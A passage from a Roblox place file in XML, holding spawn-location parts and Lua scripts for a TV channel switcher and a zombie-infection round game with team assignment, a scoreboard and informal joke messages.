					<Y>46.6000023</Y>
					<Z>-8</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<int name="Duration">10</int>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">2</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">2</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">true</bool>
				<token name="Material">256</token>
				<string name="Name">HumanSpawnLocation</string>
				<bool name="Neutral">false</bool>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">2</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<int name="TeamColor">21</int>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">1</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="formFactorRaw">1</token>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>6</X>
					<Y>1.20000005</Y>
					<Z>6</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="SpawnLocation" referent="RBX3655">
			<Properties>
				<bool name="AllowTeamChangeOnTouch">false</bool>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">2</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">2</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>-5</X>
					<Y>46.6000023</Y>
					<Z>-16</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<int name="Duration">10</int>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">2</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">2</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">true</bool>
				<token name="Material">256</token>
				<string name="Name">HumanSpawnLocation</string>
				<bool name="Neutral">false</bool>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">2</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<int name="TeamColor">21</int>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">1</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="formFactorRaw">1</token>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>6</X>
					<Y>1.20000005</Y>
					<Z>6</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Script" referent="RBX3656">
			<Properties>
				<bool name="Disabled">false</bool>
				<Content name="LinkedSource"><null></null></Content>
				<string name="Name">Script</string>
				<ProtectedString name="Source">script.Parent.channelno.Value=0
function onchannelchange()
local screen=script.Parent.screen
local channelno=script.Parent.channelno.Value
if channelno==1 then
local pic = script.Parent.t1.untitled:clone()
pic.Parent=screen
end
if channelno==2 then
screen.untitled:remove()
local pic = script.Parent.t2.untitled2:clone()
pic.Parent=screen
end
if channelno==3 then
screen.untitled2:remove()
local pic = script.Parent.t3.untitled3:clone()
pic.Parent=screen
end
if channelno==4 then
screen.untitled3:remove()
local pic = script.Parent.t4.untitled4:clone()
pic.Parent=screen
end
if channelno==5 then
screen.untitled4:remove()
local pic = script.Parent.t5.untitled5:clone()
pic.Parent=screen
end
if channelno==6 then
screen.untitled5:remove()
local pic = script.Parent.t6.untitled6:clone()
pic.Parent=screen
end
if channelno==7 then
screen.untitled6:remove()
local pic = script.Parent.t7.untitled7:clone()
pic.Parent=screen
end
if channelno==8 then
screen.untitled7:remove()
local pic = script.Parent.t8.untitled8:clone()
pic.Parent=screen
end
if channelno==9 then
screen.untitled8:remove()
local pic = script.Parent.t9.untitled9:clone()
pic.Parent=screen
end
if channelno==10 then
screen.untitled9:remove()
local pic = script.Parent.t10.untitled10:clone()
pic.Parent=screen
end
if channelno&gt;10 then
local d=screen:findFirstChild(&quot;untitled10&quot;)
if d~=nil then
d:remove()
end
resettv()
end
end

function resettv()
wait(1)
script.Parent.channelno.Value=0
end

script.Parent.channelno.Changed:connect(onchannelchange)</ProtectedString>
			</Properties>
		</Item>
		<Item class="Script" referent="RBX3657">
			<Properties>
				<bool name="Disabled">false</bool>
				<Content name="LinkedSource"><null></null></Content>
				<string name="Name">ZombieScript</string>
				<ProtectedString name="Source">wait(2)

local zombiefaec = &quot;http://www.roblox.com/asset/?id=52690333&quot;

--Time that rounds last.
  --5 minutes.

--Used to set up the scoreboard.
local scorebar = Instance.new(&quot;Hint&quot;)
scorebar.Text = &quot;Games Won  |  Survivors: 0  |  Zombies: 0  |&quot;  --Tie: 0&quot;
scorebar.Parent = game.Workspace
local humwins = 0
local zombwins = 0
--local ties = 0

--Used to sort Players onto teams.
local teamsorter = {}
local tcolor = 0

--Used to set up the Spawn tables.
local w = game.Workspace:getChildren()
local humSpawns = {}
local zombSpawns = {}
for i = 1, #w do
if w[i].Name == &quot;HumanSpawnLocation&quot; then
table.insert(humSpawns, w[i])
elseif w[i].Name == &quot;ZombieSpawnLocation&quot; then
table.insert(zombSpawns, w[i])
end
end

function zombify(victim)
&#9;local body = victim.Character
&#9;body.Head.Transparency = 1
&#9;body.Head.face.Texture = zombiefaec
&#9;body.Humanoid.WalkSpeed = 24
&#9;body.Humanoid.MaxHealth = 100
&#9;wait()
&#9;body.Humanoid.Health = body.Humanoid.MaxHealth
&#9;local haed = game.Lighting.FakeHead:clone()
&#9;local colour = math.random(1,3)
&#9;if (colour == 1) then
&#9;haed.Parent = body
&#9;w = Instance.new(&quot;Weld&quot;)
&#9;w.Parent = body.Head
&#9;w.Part0 = w.Parent
&#9;w.Part1 = haed
&#9;w.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
&#9;haed.BrickColor = script.A.HeadColor
&#9;body.Torso.BrickColor = script.A.TorsoColor
&#9;body:FindFirstChild(&quot;Right Arm&quot;).BrickColor = script.A.RightArmColor
&#9;body:FindFirstChild(&quot;Left Arm&quot;).BrickColor = script.A.LeftArmColor
&#9;body:FindFirstChild(&quot;Right Leg&quot;).BrickColor = script.A.RightLegColor
&#9;body:FindFirstChild(&quot;Left Leg&quot;).BrickColor = script.A.LeftLegColor
&#9;elseif (colour == 2) then
&#9;haed.Parent = body
&#9;w = Instance.new(&quot;Weld&quot;)
&#9;w.Parent = body.Head
&#9;w.Part0 = w.Parent
&#9;w.Part1 = haed
&#9;w.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
&#9;haed.BrickColor = script.B.HeadColor
&#9;body.Torso.BrickColor = script.B.TorsoColor
&#9;body:FindFirstChild(&quot;Right Arm&quot;).BrickColor = script.B.RightArmColor
&#9;body:FindFirstChild(&quot;Left Arm&quot;).BrickColor = script.B.LeftArmColor
&#9;body:FindFirstChild(&quot;Right Leg&quot;).BrickColor = script.B.RightLegColor
&#9;body:FindFirstChild(&quot;Left Leg&quot;).BrickColor = script.B.LeftLegColor
&#9;elseif (colour == 3) then
&#9;haed.Parent = body
&#9;w = Instance.new(&quot;Weld&quot;)
&#9;w.Parent = body.Head
&#9;w.Part0 = w.Parent
&#9;w.Part1 = haed
&#9;w.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
&#9;haed.BrickColor = script.C.HeadColor
&#9;body.Torso.BrickColor = script.C.TorsoColor
&#9;body:FindFirstChild(&quot;Right Arm&quot;).BrickColor = script.C.RightArmColor
&#9;body:FindFirstChild(&quot;Left Arm&quot;).BrickColor = script.C.LeftArmColor
&#9;body:FindFirstChild(&quot;Right Leg&quot;).BrickColor = script.C.RightLegColor
&#9;body:FindFirstChild(&quot;Left Leg&quot;).BrickColor = script.C.LeftLegColor
&#9;end
end
&#9;

while true do  --While the game is running
&#9;local p = game.Players:getChildren()
&#9;local tiem = 35*#p
&#9;if (tiem &lt; 120) then
&#9;roundtime = 900
&#9;else
&#9;roundtime = tiem
&#9;end
&#9;local m = Instance.new(&quot;Message&quot;)
&#9;while #p &lt; 2 do
&#9;&#9;m.Text = &quot;u need another homie 2 play&quot;
&#9;&#9;m.Parent = game.Workspace
&#9;&#9;game.Players.ChildAdded:wait()
&#9;&#9;p = game.Players:getChildren()
&#9;end
&#9;m.Text = &quot;ogm de zombees r attakin kfc!1!!&quot;  --&quot;There are enough players to fight!&quot;
&#9;m.Parent = game.Workspace
&#9;wait(3)
&#9;m.Text = &quot;survivors, assemble!!!1!1&quot;
&#9;wait(2)
&#9;for i = 1, 5 do
&#9;&#9;m.Text = &quot;&quot; .. 6-i
&#9;&#9;wait(1)
&#9;end
&#9;
&#9;p = game.Players:getChildren()
&#9;local zombie = math.random(1, #p)
&#9;for i = 1, #p do
&#9;if (i == zombie) then
&#9;p[i].TeamColor = BrickColor.new(&quot;Sand green&quot;)
&#9;else
&#9;p[i].TeamColor = BrickColor.new(&quot;Bright red&quot;)
&#9;end
&#9;end

&#9;m.Text = &quot;if all u survivor noobs, die, zambees win&quot;
&#9;wait(1)
&#9;for i = 1, #p do
&#9;if p[i].Character ~= nil then
&#9;&#9;if p[i].TeamColor == BrickColor.new(&quot;Bright red&quot;) then
&#9;&#9;&#9;local spawn = math.random(1, #humSpawns)
&#9;&#9;&#9;p[i].Character.Torso.CFrame = CFrame.new(humSpawns[spawn].Position + Vector3.new(0, 6, 0))
&#9;&#9;elseif p[i].TeamColor == BrickColor.new(&quot;Sand green&quot;) then
&#9;&#9;&#9;zombify(p[i])
&#9;&#9;&#9;local spawn = math.random(1, #zombSpawns)
&#9;&#9;&#9;p[i].Character.Torso.CFrame = CFrame.new(zombSpawns[spawn].Position + Vector3.new(0, 6, 0))
&#9;&#9;end
&#9;end
&#9;end
&#9;m.Text = &quot;choose yo weps, n start&quot;
&#9;game.Workspace.Rawr:play()
&#9;game.workspace.Music:play()
&#9;wait(3)
&#9;m:remove()

&#9;script.Running.Value = 1
&#9;local time = roundtime  --Time, in seconds.

&#9;while script.Running.Value == 1 do
&#9;&#9;if math.fmod(time, 60) &lt; 10 then
&#9;&#9;scorebar.Text = &quot;Time Remaining:  &quot; .. math.floor(time/50) .. &quot;:0&quot; .. math.fmod(time, 60)
&#9;&#9;else
&#9;&#9;scorebar.Text = &quot;Time Remaining:  &quot; .. math.floor(time/60) .. &quot;:&quot; .. math.fmod(time, 60)
&#9;&#9;end
&#9;&#9;wait(1)
&#9;&#9;time = time - 1
&#9;&#9;if time == 0 then


&#9;&#9;&#9;print(&quot;game ovarrrrrrr&quot;)
&#9;&#9;&#9;script.Running.Value = 0

&#9;&#9;end
&#9;end

&#9;&#9;if script.Running.Value == 0 then
&#9;&#9;&#9;local z = game.Players:getChildren()
&#9;&#9;&#9;local humcount = 0
&#9;&#9;&#9;local zombcount = 0
&#9;&#9;&#9;for i = 1, #z do
&#9;&#9;&#9;if z[i].className == &quot;Player&quot; then
&#9;&#9;&#9;&#9;if z[i].TeamColor == BrickColor.new(&quot;Bright red&quot;) then humcount = humcount + 1
&#9;&#9;&#9;&#9;elseif z[i].TeamColor == BrickColor.new(&quot;Sand green&quot;) then zombcount = zombcount + 1
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;local m = Instance.new(&quot;Message&quot;)
&#9;&#9;&#9;m.Parent = game.Workspace
&#9;&#9;&#9;if humcount &gt;= 1 then
&#9;&#9;&#9;&#9;game.Workspace.SENSATIONAL:play()
&#9;&#9;&#9;&#9;game.workspace.Music:stop()
&#9;&#9;&#9;&#9;m.Text = &quot;de survivors won yo&quot;
&#9;&#9;&#9;&#9;humwins = humwins + 1
&#9;&#9;&#9;end
&#9;&#9;&#9;scorebar.Text = &quot;Games Won  |  Survivors: &quot; ..humwins.. &quot;  |  Zombies: &quot; ..zombwins.. &quot;  |&quot;  --Tie: &quot; ..ties
&#9;&#9;&#9;wait(4)
&#9;&#9;&#9;m:remove()

&#9;&#9;--All Red Team members leave.  It gets turned to this value in a different script.
&#9;&#9;elseif script.Running.Value == -1 then
&#9;&#9;&#9;local m = Instance.new(&quot;Message&quot;)
&#9;&#9;&#9;m.Parent = game.Workspace
&#9;&#9;&#9;game.Workspace.freshmeat:play()
&#9;&#9;&#9;game.workspace.Music:stop()
&#9;&#9;&#9;m.Text = &quot;every survivr noob died, qq&quot;
&#9;&#9;&#9;zombwins = zombwins + 1
&#9;&#9;&#9;scorebar.Text = &quot;Games Won  |  Survivors: &quot; ..humwins.. &quot;  |  Zombies: &quot; ..zombwins.. &quot;  |&quot;  --Tie: &quot; ..ties
&#9;&#9;&#9;wait(4)
&#9;&#9;&#9;m:remove()

&#9;&#9;--All Blue Team members leave.  It gets turned to this value in a different script.
&#9;&#9;elseif script.Running.Value == -2 then
&#9;&#9;&#9;local m = Instance.new(&quot;Message&quot;)
&#9;&#9;&#9;m.Parent = game.Workspace
&#9;&#9;&#9;game.Workspace.SENSATIONAL:play()
&#9;&#9;&#9;game.workspace.Music:stop()
&#9;&#9;&#9;m.Text = &quot;de survivor won yo&quot;
&#9;&#9;&#9;humwins = humwins + 1
&#9;&#9;&#9;scorebar.Text = &quot;Games Won  |  Survivors: &quot; ..humwins.. &quot;  |  Zombies: &quot; ..zombwins.. &quot;  |&quot;  --Tie: &quot; ..ties
&#9;&#9;&#9;wait(4)
&#9;&#9;&#9;m:remove()
&#9;&#9;end


&#9;&#9;p = game.Players:getChildren()
&#9;&#9;wait(5)
&#9;&#9;for i = 1, #p do
&#9;&#9;&#9;if p[i].Character ~= nil then
&#9;&#9;&#9;&#9;p[i].Character.Humanoid.Health = 0
&#9;&#9;&#9;end
&#9;&#9;end
&#9;wait(10)
end

</ProtectedString>
			</Properties>
			<Item class="IntValue" referent="RBX3658">
				<Properties>
					<string name="Name">Running</string>
					<int name="Value">-2</int>
				</Properties>
			</Item>
			<Item class="BodyColors" referent="RBX3659">
				<Properties>
					<int name="HeadColor">217</int>
					<int name="LeftArmColor">217</int>
					<int name="LeftLegColor">26</int>
					<string name="Name">A</string>
					<int name="RightArmColor">217</int>
					<int name="RightLegColor">26</int>
					<int name="TorsoColor">26</int>
				</Properties>
			</Item>
			<Item class="BodyColors" referent="RBX3660">
				<Properties>
					<int name="HeadColor">217</int>
					<int name="LeftArmColor">217</int>
					<int name="LeftLegColor">1022</int>
					<string name="Name">B</string>
					<int name="RightArmColor">217</int>
					<int name="RightLegColor">1022</int>
					<int name="TorsoColor">1022</int>
				</Properties>
			</Item>
			<Item class="BodyColors" referent="RBX3661">
				<Properties>
					<int name="HeadColor">217</int>
					<int name="LeftArmColor">217</int>
					<int name="LeftLegColor">199</int>
					<string name="Name">C</string>
					<int name="RightArmColor">217</int>
					<int name="RightLegColor">199</int>
					<int name="TorsoColor">199</int>
				</Properties>
			</Item>
		</Item>
		<Item class="SpawnLocation" referent="RBX3662">
			<Properties>
				<bool name="AllowTeamChangeOnTouch">false</bool>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">2</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">2</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">151</int>
				<CoordinateFrame name="CFrame">
					<X>-309</X>
					<Y>28.8000011</Y>
					<Z>-50</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<int name="Duration">10</int>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">2</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">2</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">true</bool>
				<token name="Material">256</token>
				<string name="Name">ZombieSpawnLocation</string>
				<bool name="Neutral">false</bool>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">2</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<int name="TeamColor">151</int>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">1</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="formFactorRaw">1</token>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>6</X>
					<Y>1.20000005</Y>
					<Z>6</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="SpawnLocation" referent="RBX3663">
			<Properties>
				<bool name="AllowTeamChangeOnTouch">false</bool>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">2</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">2</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">151</int>
				<CoordinateFrame name="CFrame">
					<X>23</X>
					<Y>28.8000011</Y>
					<Z>-340</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<int name="Duration">10</int>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">2</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">2</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">true</bool>
				<token name="Material">256</token>
				<string name="Name">ZombieSpawnLocation</string>
				<bool name="Neutral">false</bool>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">2</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<int name="TeamColor">151</int>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">1</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="formFactorRaw">1</token>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>6</X>
					<Y>1.20000005</Y>
					<Z>6</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="SpawnLocation" referent="RBX3664">
			<Properties>
				<bool name="AllowTeamChangeOnTouch">false</bool>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">2</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">2</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">151</int>
				<CoordinateFrame name="CFrame">
					<X>-249</X>
					<Y>28.8000011</Y>
					<Z>169</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<int name="Duration">10</int>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">2</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">2</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">true</bool>
				<token name="Material">256</token>
				<string name="Name">ZombieSpawnLocation</string>
				<bool name="Neutral">false</bool>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">2</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<int name="TeamColor">151</int>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">1</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="formFactorRaw">1</token>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>6</X>
					<Y>1.20000005</Y>
					<Z>6</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="SpawnLocation" referent="RBX3665">
			<Properties>
				<bool name="AllowTeamChangeOnTouch">false</bool>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">2</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">2</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">151</int>
				<CoordinateFrame name="CFrame">
					<X>205</X>
					<Y>28.8000011</Y>
					<Z>-329</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<int name="Duration">10</int>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">2</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">2</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">true</bool>
				<token name="Material">256</token>
				<string name="Name">ZombieSpawnLocation</string>
				<bool name="Neutral">false</bool>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">2</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<int name="TeamColor">151</int>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">1</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="formFactorRaw">1</token>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>6</X>
					<Y>1.20000005</Y>
					<Z>6</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Script" referent="RBX3666">
			<Properties>
				<bool name="Disabled">false</bool>
				<Content name="LinkedSource"><null></null></Content>
				<string name="Name">ZombieStatusScript</string>
				<ProtectedString name="Source">print(&quot;ZombieScript v1.00 running&quot;)

local zombiefaec = &quot;http://www.roblox.com/asset/?id=52690333&quot;

function zombify(victim)
&#9;wait(2)
&#9;local body = victim.Character
&#9;body.Head.Transparency = 1
&#9;body.Head.face.Texture = zombiefaec
&#9;body.Humanoid.WalkSpeed = 24
&#9;body.Humanoid.MaxHealth = 100
&#9;wait()
&#9;body.Humanoid.Health = body.Humanoid.MaxHealth
&#9;local haed = game.Lighting.FakeHead:clone()
&#9;local colour = math.random(1,3)
&#9;if (colour == 1) then
&#9;haed.Parent = body
&#9;w = Instance.new(&quot;Weld&quot;)
&#9;w.Parent = body.Head
&#9;w.Part0 = w.Parent
&#9;w.Part1 = haed
&#9;w.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
&#9;haed.BrickColor = script.A.HeadColor
&#9;body.Torso.BrickColor = script.A.TorsoColor
&#9;body:FindFirstChild(&quot;Right Arm&quot;).BrickColor = script.A.RightArmColor
&#9;body:FindFirstChild(&quot;Left Arm&quot;).BrickColor = script.A.LeftArmColor
&#9;body:FindFirstChild(&quot;Right Leg&quot;).BrickColor = script.A.RightLegColor
&#9;body:FindFirstChild(&quot;Left Leg&quot;).BrickColor = script.A.LeftLegColor
&#9;elseif (colour == 2) then
&#9;haed.Parent = body
&#9;w = Instance.new(&quot;Weld&quot;)
&#9;w.Parent = body.Head
&#9;w.Part0 = w.Parent
&#9;w.Part1 = haed
&#9;w.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
&#9;haed.BrickColor = script.B.HeadColor
&#9;body.Torso.BrickColor = script.B.TorsoColor
&#9;body:FindFirstChild(&quot;Right Arm&quot;).BrickColor = script.B.RightArmColor
&#9;body:FindFirstChild(&quot;Left Arm&quot;).BrickColor = script.B.LeftArmColor
&#9;body:FindFirstChild(&quot;Right Leg&quot;).BrickColor = script.B.RightLegColor
&#9;body:FindFirstChild(&quot;Left Leg&quot;).BrickColor = script.B.LeftLegColor
&#9;elseif (colour == 3) then
&#9;haed.Parent = body
&#9;w = Instance.new(&quot;Weld&quot;)
&#9;w.Parent = body.Head
&#9;w.Part0 = w.Parent
&#9;w.Part1 = haed
&#9;w.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
&#9;haed.BrickColor = script.C.HeadColor
&#9;body.Torso.BrickColor = script.C.TorsoColor
&#9;body:FindFirstChild(&quot;Right Arm&quot;).BrickColor = script.C.RightArmColor
&#9;body:FindFirstChild(&quot;Left Arm&quot;).BrickColor = script.C.LeftArmColor
&#9;body:FindFirstChild(&quot;Right Leg&quot;).BrickColor = script.C.RightLegColor
&#9;body:FindFirstChild(&quot;Left Leg&quot;).BrickColor = script.C.LeftLegColor
&#9;end
&#9;local weapon = game.Lighting.Zombie:clone()
&#9;weapon.Parent = victim.Backpack
end


function onHumanoidDied(humanoid, player)
&#9;&#9;if game.Workspace.ZombieScript.Running.Value == 1 then
&#9;&#9;player.TeamColor = BrickColor.new(&quot;Sand green&quot;)
&#9;&#9;--local killer = getKillerOfHumanoidIfStillInGame(humanoid)
&#9;&#9;--handleKillCount(humanoid, player)
&#9;&#9;local p = game.Players:getChildren()
&#9;&#9;local hum = 0
&#9;&#9;local zomb = 0
&#9;&#9;for i = 1, #p do
&#9;&#9;&#9;if p[i].TeamColor == BrickColor.new(&quot;Bright red&quot;) then hum = hum + 1
&#9;&#9;&#9;elseif p[i].TeamColor == BrickColor.new(&quot;Sand green&quot;) then zomb = zomb + 1
&#9;&#9;&#9;end
&#9;&#9;end
&#9;&#9;print(hum)
&#9;&#9;print(zomb)
&#9;&#9;if hum == 0 then
&#9;&#9;&#9;game.Workspace.ZombieScript.Running.Value = -1
&#9;&#9;elseif zomb == 0 then
&#9;&#9;&#9;game.Workspace.ZombieScript.Running.Value = -2
&#9;&#9;end
&#9;&#9;if game.Workspace.ZombieScript.Running.Value == 1 then
&#9;&#9;&#9;wait(5)
&#9;&#9;&#9;zombify(player)
&#9;&#9;end
&#9;&#9;else
&#9;&#9;player.TeamColor = BrickColor.new(&quot;Bright red&quot;)
&#9;&#9;end
end

function onPlayerRespawn(property, player)
&#9;-- need to connect to new humanoid
&#9;if property == &quot;Character&quot; and player.Character ~= nil then
&#9;&#9;local humanoid = player.Character.Humanoid
&#9;&#9;&#9;local p = player
&#9;&#9;&#9;local h = humanoid&#9;
&#9;&#9;&#9;humanoid.Died:connect(function() onHumanoidDied(h, p) end )
&#9;end
end

-----------------------------------------------

function onPlayerEntered(newPlayer)

&#9;&#9;while true do
&#9;&#9;&#9;if newPlayer.Character ~= nil then break end
